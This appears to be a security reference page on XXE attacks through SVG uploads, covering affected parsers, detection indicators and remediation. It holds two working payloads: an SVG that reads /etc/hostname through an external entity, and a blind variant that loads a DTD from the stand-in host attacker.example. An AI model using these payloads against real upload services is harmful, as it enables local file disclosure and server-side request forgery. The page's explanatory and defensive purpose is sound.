Skip to content
high

XXE via SVG image upload

SVG XXE upload attacks exploit the fact that SVG is XML: an image upload that accepts SVG and parses or rasterises it server-side (thumbnailing, conversion, metadata extraction) will resolve an embedded external entity, turning a harmless-looking image into a local file-read primitive.

Target formats
SVGImage upload pipelines
Affected parsers
Batik (Java)ImageMagick/librsvgHeadless browserslibxml
Impact
Local file disclosureSSRF

How it works

SVG files are XML documents, so they can carry a DOCTYPE and entity declarations like any other XML. When an application accepts an uploaded SVG and processes it — to generate a thumbnail, convert it to PNG, or read its dimensions — the underlying XML parser may resolve external entities.

An SVG containing an external entity referenced inside a visible <text> element will render the file contents into the output image, or leak them via the processing pipeline.

Which parser configuration makes it work

Requires a server-side SVG processor whose XML parser resolves external entities (older Batik, some librsvg/ImageMagick builds, naive libxml usage). Pure client-side rendering in a browser sandbox is not affected the same way.

Representative payloads

Replace callback hosts and target paths with your own authorized test values.

SVG that renders /etc/hostname into the image
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="60">
  <text x="10" y="40">&xxe;</text>
</svg>

The leaked contents appear as text in the rasterised output.

SVG blind/OOB variant
<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd">
  %xxe;
]>
<svg xmlns="http://www.w3.org/2000/svg"></svg>

Detection

As a tester, upload a crafted SVG and inspect the generated thumbnail/output for leaked contents, or watch for an OOB callback. As a defender, do not trust file extension or magic bytes alone; scan uploaded SVGs for DOCTYPE/ENTITY declarations and the XInclude namespace before any server-side processing, and confirm which component parses them.

  • Uploaded .svg files containing <!DOCTYPE or <!ENTITY
  • Thumbnails/converted images containing unexpected text
  • SVG-processing component making outbound or file:// requests

Remediation

Harden the XML parser behind your SVG pipeline exactly as you would any other: disable DOCTYPE/DTD processing and external entity resolution in the library that reads the SVG (Batik, librsvg, ImageMagick delegate, or libxml). Additionally, sanitise uploaded SVGs with a dedicated allow-list sanitiser that strips DOCTYPE, entities and script, and process untrusted images in a sandbox with no network and no filesystem access beyond the upload.

Fix checklist

  • Disable DOCTYPE and external entities in the SVG/XML processor
  • Run uploaded SVGs through an allow-list SVG sanitiser (strip DTD, entities, script)
  • Rasterise untrusted images in a sandbox with no network/filesystem reach
  • Do not trust extension or magic bytes to decide a file is safe

Parser-specific configuration: Java, PHP, Python.

Related techniques

References